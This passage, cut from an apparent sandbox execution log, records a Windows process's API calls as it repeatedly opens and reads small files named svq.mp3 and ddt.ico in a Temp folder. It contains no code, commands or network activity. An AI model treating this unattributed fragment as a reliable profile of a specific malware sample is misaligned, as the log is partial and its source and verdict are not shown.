lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.796] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.796] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.797] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.797] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.797] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.797] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.797] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.797] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.797] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.797] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.797] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.797] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.797] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.798] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.798] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.798] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.798] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.798] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.798] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.798] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.798] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.798] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.798] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.798] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.799] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.799] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.799] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.799] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.799] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.799] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.799] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.799] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.799] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.799] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.800] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.800] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.800] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.800] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.800] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.800] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.800] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.800] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.800] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.800] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.800] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.801] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.801] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.801] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.801] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.801] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.801] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.801] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.801] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.801] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.801] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.801] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.802] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.802] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.802] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.802] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.802] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.802] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.802] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.802] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.802] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.802] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.803] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.803] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.803] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.803] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.803] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.803] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.803] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.803] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.803] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.803] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.804] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.804] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.804] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.804] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.804] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.804] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.804] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.804] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.804] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.804] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.805] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.805] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.805] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.805] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.805] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.805] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.805] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.805] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.805] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.805] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.805] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.806] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.806] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.806] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.806] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.806] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.806] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.806] CreateFileW (lpFileName="svq.mp3" (normalized: 